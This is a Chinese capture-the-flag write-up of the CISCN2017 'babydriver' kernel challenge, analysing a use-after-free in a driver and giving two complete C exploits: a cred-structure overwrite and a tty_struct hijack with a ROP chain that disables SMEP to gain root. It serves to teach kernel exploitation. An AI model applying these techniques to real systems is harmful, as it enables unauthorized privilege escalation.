CISCN2017 babydriver

应该是第一道linux kernel pwn的题目,记录一下。

题目描述

解压题目压缩包,有三个文件:

1
2
3
boot.sh:启动内核的脚本
bzImage:内核镜像
rootfs.cpio:文件系统

解压rootfs.cpio,查看init文件,可以找到加载的内核驱动,内核版本为4.4.72.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

查看babydriver.ko文件开的保护情况,没有PIE和canary。

1
2
3
4
5
6
7
8
9
10
ubuntu@ubuntu:~/Desktop$ checksec babydriver.ko
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/ubuntu/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.12.2)
[*] '/home/ubuntu/Desktop/babydriver.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)

将babydriver.ko文件拖到IDA中,可以看到有以下几个函数,首先是babyioctl函数,当发送的指令为0x10001时,首先将原来保存到babydev_struct的空间释放掉,然后会根据接收到的size申请一段空间,地址和大小保存在bss段上的babydev_struct上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 result; // rax

_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
result = 0LL;
}
else
{
printk(&unk_2EB);
result = -22LL;
}
return result;
}

babyread函数首先检查传入的参数是否大于之前保存的size,当符合条件时将buffer中的内容从内核空间复制到用户空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}

babywrite函数同样检查了size,然后将buffer中的内容从用户空间复制到内核空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}

babyopen函数是申请一段大小为0x40的空间,将地址和大小保存到bss段上的全局变量babydev_struct中。

1
2
3
4
5
6
7
8
int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 0x40LL);
babydev_struct.device_buf_len = 0x40LL;
printk("device open\n");
return 0;
}

babyrelease函数是将全局变量babydev_struct中存储的地址释放,但是没有置零,有UAF漏洞。

1
2
3
4
5
6
7
int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}

利用过程

有一个UAF的漏洞,利用思路如下:

  1. 打开两个设备,因为babydev_struct是全局变量,那么第二个设备申请的空间会覆盖第一个。
  2. 调用ioctl函数,根据前面的函数定义,该函数会将之前申请到的空间释放掉,然后根据传入的大小重新申请一段空间,并更新babydev_struct,此时将一个设备的空间大小修改为cred结构体大小,并关闭设备,释放掉这段空间。
  3. fork一个新的进程,那么这段进程会申请到这段刚刚释放的空间作为其cred结构体的空间。
  4. 对另外一个设备进行写,将新进程的cred结构体的uid、gid改为0进行提权。

关于cred结构体的大小,内核版本为4.4.72,可以在这里查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

关于cred的大小,本来想写一个模块输出结构体大小,但是没有加载成功。后面记录了过程。

第一次做内核的pwn题,不会写exp,直接用的是ctf-wiki上的exp,根据自己的理解写的注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
//首先打开两个设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

//释放掉babydev_struct之前存储的空间,重新申请一段空间,大小为cred结构体的大小,更新babydev_struct存储的地址和size。
ioctl(fd1, 0x10001, 0xa8);
//关闭fd1,释放掉与cred结构体大小相同的空间
close(fd1);

//fork一个新的进程,进程会申请到刚刚释放的那段空间作为cred结构体空间
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}

else if(pid == 0)
{
//对第二个设备进行写,修改新进程的uid、gid为0
char zeros[30] = {0};
write(fd2, zeros, 28);

if(getuid() == 0)
{
//提权
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}

else
{
wait(NULL);
}
close(fd2);

return 0;
}

静态编译exp.c:

1
gcc -static exp.c -o exp

将exp放入rootfs.cpio解压后的tmp目录下(其他目录也可以),重新打包文件系统:

1
find . | cpio -o --format=newc > rootfs.cpio

运行boot.sh脚本,启动内核,获得root权限:
1

另一种解法 ret2usr

题目中开了smep保护,在boot.sh启动脚本中可以看到:

1
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

smep

smep是为了防止以ring0的权限执行用户空间代码而开的保护,当开启smep保护后,以内核权限执行用户空间代码会触发页错误。
在系统中,可根据CR4寄存器来查看是否开启了smep保护,当CR4寄存器第20位为1时,开启了smep保护,值为0时,保护关闭。为了关闭smep保护,常给RC4寄存器赋一个固定值:

1
mov cr4, 0x6f0  (0000 0000 0110 1111 0000)

利用过程

查找rop和函数地址

题目没有给vmlinux,通过extract-vmlinux来提取vmlinux,以便寻找rop。

1
ubuntu@ubuntu:~/kernel/pwn$ ./extract-vmlinux ./babydriver/bzImage > vmlinux

使用工具rooper寻找rop:

1
ropper --file ./vmlinux --nocolor > ropgadget

查找commit_creds和prepare_kernel_cred函数的地址:

1
2
3
4
5
6
7
8
9
ffffffff810a1420 T commit_creds
ffffffff81d88f60 R __ksymtab_commit_creds
ffffffff81da84d0 r __kcrctab_commit_creds
ffffffff81db948c r __kstrtab_commit_creds
/ $ grep prepare_kernel_cred /proc/kallsyms
ffffffff810a1810 T prepare_kernel_cred
ffffffff81d91890 R __ksymtab_prepare_kernel_cred
ffffffff81dac968 r __kcrctab_prepare_kernel_cred
ffffffff81db9450 r __kstrtab_prepare_kernel_cred

跟强网杯的core一样,首先需要保存用户态的寄存器状态:

1
2
3
4
5
6
7
8
9
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}

rop构造

首先打开两个设备问价fd1和fd2,利用命令0x10001来申请一段大小为0x2e0的空间,然后关闭fd1,这段空间就会释放掉。

1
2
3
4
int fd1 = open("/dev/babydev",O_RDWR);
int fd2 = open("/dev/babydev",O_RDWR);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);

此时打开设备文件”/dev/ptmx”,会申请分配一个结构体tty_struct,大小与刚刚设备1释放的空间相同,因此该设备文件会申请到这段内存:

1
int fd_tty = open("/dev/ptmx",O_RDWR|O_NOCTTY);

因为程序中这段空间是全局的,fd2可以对这段内存进行读写,这样我们就有了控制结构体tty_struct的能力,首先读取这个结构体到变量fake_tty_struct中:

1
2
size_t fake_tty_struct[4] = {0};
read(fd2, fake_tty_struct, 32);

结构体tty_struct中的第四项是const struct tty_operations *ops,这个成员也是一个结构体,有很多函数指针组成,具体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// linux/include/linux/tty_driver.h
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
int (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
int (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

当对打开的/dev/ptmx进行操作时,会调用函数表中的相关函数,这里我没有查到具体的调用过程,但是在实际调试时,对设备文件进行写操作,会调用到第一个函数,程序跳转到fake_tty_operations[0],将rax设置为rop的地址,后面一个mov rsp,rax将栈迁移到我们构造的rop中。

1
2
3
4
5
6
7
8
9
for(i = 0; i < 30; i++){
fake_tty_operations[i] = 0xFFFFFFFF8181BFC5;
}
fake_tty_operations[0] = 0xffffffff810635f5; //pop rax; pop rbp; ret;
fake_tty_operations[1] = (size_t)rop;
fake_tty_operations[3] = 0xFFFFFFFF8181BFC5; // mov rsp,rax ; dec ebx ; ret

fake_tty_struct[3] = (size_t)fake_tty_operations;
write(fd2, fake_tty_struct, 32);

后面rop的执行流程如下:

  1. 将寄存器cr4修改为0x6e0,关闭smep保护。
  2. 以ring0特权执行用户空间代码,执行commit_reds(prepare_kernel_cred(0))进行提权。
  3. 通过swapgs和iretq指令返回用户空间,将上文中保存的寄存器状态压入栈中,rip设置为system(“/bin/sh”)函数地址。
  4. 返回用户空间以root权限执行system(“/bin/sh”)。

调试编译用到的

在boot.sh中加入-s参数以开启gdb调试端口。

编译exp:

1
gcc exp.c -static -masm=intel -g -o exp

重新打包文件系统:

1
find . | cpio -o --format=newc > rootfs.cpio

这里可以看到完整的exp。

遇到的问题-获取cred结构体大小

下载4.4.72的内核源码,获取cred结构体大小的代码和Makefile如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <linux/init.h>
#include <linux/module.h>
#include <linux/cred.h>

MODULE_LICENSE("Dual BSD/GPL");

static int hello_init(void)
{
printk(KERN_ALERT "sizeof cred: %d", sizeof(struct cred));
return 0;
}

static void hello_exit(void)
{
printk(KERN_ALERT "exit module!");
}

module_init(hello_init);
module_exit(hello_exit);

Makefile中.o的文件名称要与.c文件的名称相同,KERNELDR中写内核源码的路径。

1
2
3
4
5
6
7
8
9
obj-m := get_cred.o  
KERNELDR := ../linux-4.4.72/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

编译get_cred.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ubuntu@ubuntu:~/kernel/pwn/babydriver/get_cred$ make
make -C ../linux-4.4.72/ M=/home/ubuntu/kernel/pwn/babydriver/get_cred modules
make[1]: Entering directory `/home/ubuntu/kernel/pwn/babydriver/linux-4.4.72'

ERROR: Kernel configuration is invalid.
include/generated/autoconf.h or include/config/auto.conf are missing.
Run 'make oldconfig && make prepare' on kernel src to fix it.


WARNING: Symbol version dump ./Module.symvers
is missing; modules will have no dependencies and modversions.

CC [M] /home/ubuntu/kernel/pwn/babydriver/get_cred/get_cred.o
In file included from <command-line>:0:0:
././include/linux/kconfig.h:4:32: fatal error: generated/autoconf.h: No such file or directory
#include <generated/autoconf.h>
^
compilation terminated.
make[2]: *** [/home/ubuntu/kernel/pwn/babydriver/get_cred/get_cred.o] Error 1
make[1]: *** [_module_/home/ubuntu/kernel/pwn/babydriver/get_cred] Error 2
make[1]: Leaving directory `/home/ubuntu/kernel/pwn/babydriver/linux-4.4.72'
make: *** [modules] Error 2

报错,按照提示在源码目录下执行:

1
make oldconfig && make prepare

然后make编译,编译成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@ubuntu:~/kernel/pwn/babydriver/get_cred$ make
make -C ../linux-4.4.72/ M=/home/ubuntu/kernel/pwn/babydriver/get_cred modules
make[1]: Entering directory `/home/ubuntu/kernel/pwn/babydriver/linux-4.4.72'

WARNING: Symbol version dump ./Module.symvers
is missing; modules will have no dependencies and modversions.

CC [M] /home/ubuntu/kernel/pwn/babydriver/get_cred/get_cred.o
/home/ubuntu/kernel/pwn/babydriver/get_cred/get_cred.c: In function ‘hello_init’:
/home/ubuntu/kernel/pwn/babydriver/get_cred/get_cred.c:10:5: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘long unsigned int’ [-Wformat=]
printk("size of cred : %d \n",sizeof(c1));
^
Building modules, stage 2.
MODPOST 1 modules
CC /home/ubuntu/kernel/pwn/babydriver/get_cred/get_cred.mod.o
LD [M] /home/ubuntu/kernel/pwn/babydriver/get_cred/get_cred.ko
make[1]: Leaving directory `/home/ubuntu/kernel/pwn/babydriver/linux-4.4.72'

将生成的get_cred.ko文件拷贝到rootfs.cpio解压后的/lib/modules/4.4.72目录下(其他目录也可以),重新打包文件系统:

1
find . | cpio -o --format=newc > rootfs.cpio

启动内核,切换到/lib/modules/4.4.72目录下,使用insmod命令加载get_cred.ko,但是遇到的问题是无法insmod这个模块,目前还没有找到解决方法,有说是内核版本不对,可的确是4.4.72呀。修改init文件在启动时挂载也会报错:
2
难道要编译内核之后再编译get_cred.ko这个模块才行?
编译内核:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ubuntu@ubuntu:~/kernel/pwn/babydriver/linux-4.4.72$ make
CHK include/config/kernel.release
CHK include/generated/uapi/linux/version.h
CHK include/generated/utsrelease.h
CHK include/generated/bounds.h
CHK include/generated/timeconst.h
CHK include/generated/asm-offsets.h
CALL scripts/checksyscalls.sh
HOSTCC scripts/sign-file
scripts/sign-file.c:23:30: fatal error: openssl/opensslv.h: No such file or directory
#include <openssl/opensslv.h>
^
compilation terminated.
make[1]: *** [scripts/sign-file] Error 1
make: *** [scripts] Error 2

报错缺少openssl,安装openssl:

1
2
sudo apt-get install openssl 
sudo apt-get install libssl-dev

继续编译内核:

1
2
3
4
make menuconfig
make
make all
make modules

然后重新编译get_cred.c还是没办法加载。

参考

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf-zh/
http://pwn4.fun/2017/08/15/Linux-Kernel-UAF/

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/bypass_smep-zh/